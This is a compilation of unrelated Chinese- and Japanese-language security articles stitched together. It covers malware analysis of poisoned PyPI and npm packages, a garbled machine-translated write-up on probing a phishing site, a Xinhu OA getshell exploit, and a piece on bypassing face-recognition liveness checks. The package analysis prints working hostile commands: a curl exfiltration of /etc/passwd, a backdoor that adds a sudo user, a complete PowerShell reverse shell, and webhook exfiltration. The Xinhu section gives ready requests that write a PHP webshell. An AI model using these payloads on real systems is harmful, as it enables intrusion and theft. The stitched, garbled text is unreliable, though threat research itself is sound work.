4 樣本分析4.1 經過攻擊者篡改的colorama模塊colorama是一個開源的Python模塊,能夠提供彩色的終端文本。攻擊者在其__init__.py文件中,通過463個空格將惡意代碼掩藏在第5行末尾,然後將篡改的colorama模塊重新打包並託管於搭建的服務器中。由於__init__.py文件用於定義包的初始化代碼,因此當用戶導入該包時會自動執行其中的惡意代碼。該惡意代碼用於從攻擊者服務器中接收“version”文件中的內容並執行。

圖4‑1攻擊者掩藏的惡意代碼
4.2 version“version”文件中的代碼使用Fernet算法,通過攻擊者自定義的密鑰對代碼進行解密,然後對解密的代碼進行執行。

圖4‑2執行通過Fernet算法進行加解密的代碼
解密後的代碼訪問指定的URL,將“inj”文件內容寫入臨時文件中,並通過python執行。

圖4‑3獲取“inj”文件內容並執行
4.3 inj該文件是一個Python腳本,攻擊者使用中文、日文對變量及函數等進行命名,並且對代碼進行了混淆處理。

圖4‑4 inj文件內容
攻擊者同樣通過空格對關鍵代碼進行掩藏,經解混淆處理後發現,該腳本的作用是使用zlib解壓出下一階段的代碼並進行執行。

圖4‑5經過zlib壓縮的代碼
4.4 經過zlib解壓的代碼該代碼使用Python編寫,其作用是在%APPDATA、%LOCALAPPDATA%、%TEMP%中選取一個目錄生成一個隨機名稱的文件,將從指定URL中獲取的內容寫入該文件中執行,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等數據。

圖4‑6該代碼的作用
4.5 竊密木馬4.5.1 竊密經過以上多層載荷的傳遞,最終將執行一種使用Python編寫的竊密木馬。其竊密目標如下表所示。
表4‑1竊密目標
瀏覽器
Opera
Chrome
Brave
Vivaldi
Edge
Yandex
Firefox
社交平台
Discord
Telegram
加密貨幣錢包
Atomic Wallet
Guarda
Zcash
Armory
Bytecoin
Exodus
Binance
Jaxx
Electrum
Coinomi
遊戲客戶端
Steam
Riot Client
該竊密木馬也會對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。目標路徑及關鍵詞如下表所示。
表4‑2目標路徑及關鍵詞
目標路徑
桌面
下載
文件
最近使用的項目
關鍵詞
passw
mdp
motdepasse
mot_de_passe
login
secret
bot
atomic
account
acount
paypal
banque
bot
metamask
wallet
crypto
exodus
ledger
trezor
hardware
cold
.dat
discord
2fa
code
memo
compte
to0k3en
backup
secret
seed
mnemonic
memoric
private
key
passphrase
pass
phrase
steal
bank
info
casino
prv
privé
prive
telegram
identifiant
personnel
trading
bitcoin
sauvegarde
funds
récupé
recup
note
4.5.2 回傳該竊密木馬通過HTTP POST將竊取的數據回傳至C2服務器中。

圖4‑7 HTTP POST回傳方式
當該回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile,並將上傳後形成的下載鏈接記錄在“loggrab”文件中回傳至C2服務器。

圖4‑8將數據上傳至Gofile
5 防護建議5.1 加強終端文件接收和執行防護建議企業用戶部署專業的終端安全防護產品,對本地新增和啟動文件進行實時檢測,並週期性進行網內病毒掃描。安天智甲終端安全系列產品(以下簡稱“智甲”)依托安天自研威脅檢測引擎和內核級主動防禦能力,可以有效查殺本次發現病毒樣本。
智甲可對本地磁盤進行實時監測,對新增文件自動化進行病毒檢測,對發現病毒可在其落地時第一時間發送告警並進行處置,避免惡意代碼啟動。

圖5‑1發現病毒時,智甲第一時間捕獲並發送告警
智甲還為用戶提供統一管理平台,管理員可通過平台集中查看網內威脅事件詳情,並批量進行處置,提高終端安全運維效率。

圖5‑2通過智甲管理中心查看並完成威脅事件處置
6 IoCsIoCs
96B4C32AFE965529510A6430C2A7AAD3
150B3626C85EC5AF88B86C0D0E24736B
6580C4990E1E56A7D31A36FF1A0502FA
DD9914573C751C4D8BE4BFE0519F9597
6573627FFC97CA6E82A238561C14A9E4
https[:]//files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz
https[:]//pypihosted.org
162.248.100[.]217
HireHackking
概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫,結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲,發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份,懸鏡供應鏈安全情報中心在NPM官方倉庫(https://www.npmjs.com)和Pypi官方倉庫(https://pypi.org)共捕獲503個不同版本的惡意組件包,其中NPM倉庫投毒佔比89.46%, Pypi倉庫投毒佔比10.54%,NPM倉庫依舊是開源組件包投毒的重災區。

2024年2月份投毒包總量

2024年2月份投毒包每日統計
結合源代碼分析、動態行為監控等方式,我們對2月份捕獲的開源組件投毒包進行多維度分析,總結統計出主流的攻擊方式和惡意行為標籤。
投毒攻擊方式主要包括:
马云惹不起马云惡意文件執行
马云惹不起马云代碼混淆執行
马云惹不起马云惡意文件下載
马云惹不起马云shell命令執行
马云惹不起马云惡意文件釋放
其中,惡意文件執行是最常用的攻擊方式(佔比78.13%),其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在組件安裝包中直接嵌入惡意shell命令(佔比8.87%)、惡意文件下載(佔比4.28%)及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測,部分惡意包使用了代碼編碼、加密及混淆(佔比7.61%)等方式進行惡意代碼隱藏。

攻擊方式統計
在所有投毒包的惡意行為中,竊取系統信息佔比超過85%,信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次,遠控木馬和反向shell後門攻擊緊隨其後(兩者之和占比約10%)。此外,在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是,我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。

惡意標籤統計
投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析,還原投毒者的攻擊方式和細節。
Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django,以此迷惑混淆Python開發者誤安裝該惡意包。

知名Python組件django
djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。

RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。

此外,多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例,其安裝包的package.json文件中包含惡意shell命令:

攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。
/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。

bash惡意代碼如下所示:
wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者,接著利用useradd命令在系統中添加新的用戶賬戶;最後使用tee命令將新用戶賬戶添加到sudoers文件中,將新賬戶權限提升到sudo權限。
Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上,開發者一旦通過包管理器安裝或加載投毒包時,反彈shell代碼將自動執行,導致開發者係統被攻擊者遠程shell控制。
以Python惡意包isred為例,該投毒包目標針對Linux系統,攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311),從而實現對受害者係統的反向shell遠控。

對於NPM倉庫的ts-patch-moongoose惡意包,目標主要針對Windows系統,其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。

解碼後的實際PowerShell代碼如下所示:
Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上,從而達到對受害者係統進行遠程shell後門控制。
Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊(包括requests-sessions、requests-http、request-get、tls-session等)。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時,惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。
以惡意包tls-session為例,其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client,tls-client在Pypi倉庫上的周下載量超過3萬。

Python組件tls-client下載量統計
組件包tls-session通過克隆tls-client v1.0.1版本項目代碼,並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。

base64代碼解碼後得到真實的攻擊代碼:

惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上(SERPROFILE%\AppData\Local\explorer.exe),並偽裝成Windows系統進程explorer.exe執行。
https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe
Built.exe已被多款殺毒引擎判定為木馬
Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據,其通過JS代碼混淆對惡意代碼進行保護逃避檢測,混淆代碼如下所示:

去混淆後還原出核心惡意代碼:


代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件,並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。
https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號,NPM開發者klewba32在官方倉庫上進行Sniper系列投毒,當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼,主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。

Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護:

代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。

BladeroidStealer主要功能函數列表如下所示:

以getCookiesAndSendWebhook()函數為例,其功能是從瀏覽器本地cookie文件中提取主流社區賬號(instagram、tiktok、reddit、spotify)的sessionid。
HireHackking
これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり
晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました(最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした( ̄_、 ̄)。
そして、この写真はすべての夢が始まったところになりました.

0x01情報収集
0x001レビュードメイン名
開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します:

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした:

次に、関連情報を収集するために:

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。
0x002レビューIP
今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください:

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。
0x003レビューページ
それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています(しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています)。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください:

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか?ここで情報を入力してチェックすることができます。

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

次に、確認して次のステップに進みます。

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます(開発者として、生産環境でコードコメントを削除することの重要性=_=):

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました(ここでは、ユーザーの実際の状況やその他の未知の操作の調査です)。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。


その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入
情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

次に、エラーメッセージを確認するために簡単な注入を試みます。

応答はありません。基本的な検証があり、それを変更する必要があります。

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります:

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。
0x002メタプロイト浸透
がついにMetasploitに来て、準備ができています、

IISの既知の脆弱性を最初に検索します。

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません:

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。
0x003サイトディレクトリの列挙
サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか? Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。


多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です:

いい人と呼んでください!スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした(ヨ(▔、▔)ㄏ)。

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか?それを変更してフォームファイルデータを投稿し、再試行してください。

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI(¬‿¬)を介して操作するのはとても簡単です。

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです:

その後、もう一度アクセスして効果を確認してください。

なんて男だ、それはエキサイティングだ!私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。
%respons.write(request.servervariables( 'server_software'))%
次に、アップロードしてチェックしてください。

これ.他に何が言うことができますか?沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです(¬‿¬)。
0x004予期しない収穫
実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください:

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです(このログインボックスは本当に白です)、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました:

HireHackking

標題:信呼OA普通用戶權限getshell方法

0x01 前言信呼OA是一款開源的OA系統,面向社會免費提供學習研究使用,採用PHP語言編寫,搭建簡單方便,在中小企業中具有較大的客戶使用量。從公開的資產治理平台中匹配到目前互聯中有超過1W+的客戶使用案例。
信呼OA目前最新的版本是V2.6.2,發佈時間是2023-12-22。作者整體上保持了較高的系統更頻率,對歷史爆出的安全問題也及時進行修復。目前網上能找到的信呼OA getshell的辦法大多數是老版本或者是需要admin權限的,沒有針對新版本進行getshell的思路。
0x02 步驟本地搭建當前最新版的信呼OA系統V2.6.2,如下圖所示。

使用普通OA用戶登陸,信呼OA安裝之後默認存在賬號diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用戶,密碼都是123456。這裡使用普通用戶xiaoqiao登陸,然後構造下面的請求。
http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};phpinfo ();class a

生成的文件訪問如下(以下兩種方式均可):
http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php
http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

由於傳遞的參數值會被全部轉化為小寫字母(下一步的漏洞分析中會提到),導致我們不能在webshell中使用大寫字母,所以並不能直接寫一句話webshell。繞過方式是可以通過下面的方式來轉化一下一句話木馬。
http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};eval (strtoupper('eval (\$_request[1]);'));class a
運行之後訪問下面的鏈接,由於鏈接中涉及到多個特殊字符,如果不清楚應該如何轉義的請複制下面的鏈接。
http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

0x03 分析在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用戶傳入的參數,如下圖所示。
繼續跟踪createtxt方法,如下所示,僅僅只是進行了文件寫入操作,並沒有進行過濾,導致任意文件寫入漏洞。
原文鏈接關注Beacon Tower Lab專欄
HireHackking
近日人臉識別防護問題已成焦點,嘉峪關網警、大連市銀行協會發布信息,稱市民A先生與不法分子視頻通話期間手機被犯罪分子控制,未接收到驗證碼,通話後手機收到消息提示,銀行定期存款已被銷戶,銀行人臉識別系統未發揮效果,資金已被轉出。經偵查後發現,犯罪分子事先獲取了A先生的身份證影像信息,並通過技術手段合成了短視頻,使用該視頻成功應對了銀行大額資金轉賬時的人臉識別驗證。
目前人臉識別防護技術存在明確的安全隱患,人臉信息發生洩露的風險主要存在於收集、存儲、使用、加工、傳輸,其中使用、加工、傳輸需要金融機構等廠商提高重視度,收集、存儲環境也需消費者提高警惕心。消費者不應隨意同陌生人的視頻聊天、下載來源不明的App、隨意參與App內的錄製視頻/聲音活動,北京互聯網法院綜合審判三庭副庭長曾表示“一些營銷短視頻、音頻的商家經常在未經當事人許可和同意的情況下進行換臉、換聲操作,以此獲利”,降低人臉信息的收集、存儲環節的安全隱患。消費者應保護好銀行卡號、密碼、身份證等個人信息;人臉、指紋等個人生物信息,發現可疑行為及時報警。
個人生物信息一旦洩露便後患無窮,尤其是人臉信息,上述案例中的收集人臉信息、通過技術手段攻擊人臉識別防護系統,攻破後進行盜取轉移資金等違法行為的犯罪鏈已較為成熟。通過AI技術攻擊人臉識別防護系統的手段可分為深度偽造攻擊與對抗樣本攻擊。深度偽造攻擊是將一個人的面部表情移植到另一個人照片的面部,從而讓被移植人照片活化起來;對抗樣本攻擊是在人臉照片上添加難以察覺的微小擾動使人臉識別系統誤判。本次案例中,不法分子極可能是利用視頻通話採集受害者人臉信息並基於深度偽造攻擊手法騙過銀行的人臉識別防護系統,竊取用戶存款,此類案件層出不窮。
不法分子的攻擊目標早已不局限於金融系統,政務系統也是重點攻擊目標之一,根據天津網信辦報導,不法分子獲取公民身份信息和人臉照片後,利用AI技術破解相關政務APP的“人臉識別”認證,在當事人毫不知情的情況下,幾分鐘就能利用他人信息註冊公司。
針對人臉識別防護系統的攻擊與防禦,是一場雙方都在不斷升級的攻防對抗,目前針對人臉識別防護系統的攻擊手段已經過多次進化。多數人臉識別算法廠商聚焦於人臉特徵提取、人臉差異,對深度偽造攻擊、對抗樣本攻擊及針對應用的攻擊的防護能力極為有限,為此業內新增了三類檢測功能,但均有一定局限性。
1、增強活體檢測模塊,以識別對抗眼鏡及表情操縱攻擊此種防禦方式對於屏幕重放攻擊有一定的防禦效果,但是若採用攝像頭繞過方式即可繞過,對於安全加密強度不夠的APP,採用公開手機模擬器即可繞過攝像頭,直接將準備好的偽造圖像傳輸給後台人臉比對算法。
2、增強人臉特徵比對算法,存在異常即攔截該方法本質上是提升了比對算法的閾值,在提升自身安全性的同時,也降低了對於用戶的友好體驗,往往要進行反复拍照、核驗才能通過比對,並不能從根本上解決人臉偽造的攻擊方式。
3、增加臉部異常結構的識別該方式,旨在防範對抗眼鏡樣本的攻擊方式,但對抗樣本的攻擊方式千變萬化,可以是眼鏡形式外的任何形式,此方法並不能解決對抗樣本本身帶來的攻擊危害。
此外攻擊者還可以通過注入應用、破壞系統內核及利用接口防護不當與設計缺陷嘗試繞過人臉識別防護系統的活體檢測環節。
1、注入應用繞過人臉識別防護系統活體檢測攻擊者通過注入應用的方式來篡改程序,繞過活體檢測,使用一張靜態照片就可以通過人臉識別。還可以通過查看當前APP的數據結構,修改參數來篡改活體檢測完成後的圖片,從而達到活體檢測由任意一個人完成都可以通過的效果,這樣只需要拿著被攻擊者的照片來通過靜態人臉識別,然後其他人眨眼抬頭來破解活體檢測。
2、破壞系統內核繞過人臉識別防護系統活體檢測通過修改Android系統源代碼,在底層直接修改並返回相關函數的調用結果。劫持攝像頭,指定視頻存放位置,在活體檢測後替換人臉識別圖片、視頻,繞過活體檢測。
3、利用接口防護不當和各種設計缺陷部分APP在使用上傳人臉圖像時,沒有對圖像數據進行簽名,導致圖片可以被工具截獲然後篡改,而有的則是在數據報文沒有加入時間戳,可以通過重放數據報文的方式來實施破解。有些人臉識別的成功與否,是通過返回報文中的一個閾值來決定的,相當於考試中的“及格分數”,如果人臉匹配度超過該閾值就可以通過,不幸的是,部分APP沒有對這個返回報文加簽名,導致該報文可以被篡改,最終通過調低該閾值的方式破解了它的人臉識別防護系統。人臉識別技術正面臨著日益嚴峻的新型攻擊威脅和重大財產損失的風險,想提高安全性須採用成體係可應對上述各類攻擊手段的人臉識別安全方案。為加強安全防護能力,愛加密推出了“查、打、防”三位一體的人工智能安全體系、愛加密人臉安全綜合防護系統,從人工智能應用的生命週期進行檢測,治療和預防。

愛加密人臉安全綜合防護系統可全面加固任意人臉識別系統。通過集成終端風險感知、業務端實時偽造檢測、運營風險挖掘三大類功能,實現在人臉核身、在線視頻等典型場景中有效抵禦對抗樣本攻擊、深度偽造攻擊等新型安全風險,大幅提升人臉識別系統的安全性。

愛加密將持續關注人臉識別防護安全,在此呼籲各大機構提高對人臉信息的重視度,加強對個人隱私信息的保護力度,提升人臉識別防護系統的安全性。愛加密通過十餘年技術積累和豐富的行業服務經驗研發,助力人臉識別防護系統的安全運營,未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等,守護互聯世界。
HireHackking

標題:數據分類分級-敏感數據識別工程實踐

背景雖然整體上大家做分類分級的背景以及目標基本一致:滿足監管要求;為數據合規和安全體系建設打好基礎。但是實施落地的過程不盡相同,每個客戶所處的行業不同,所要遵循的分類分級標準不同,同時每個客戶的數據也是截然不同,定制化需求是普遍存在。
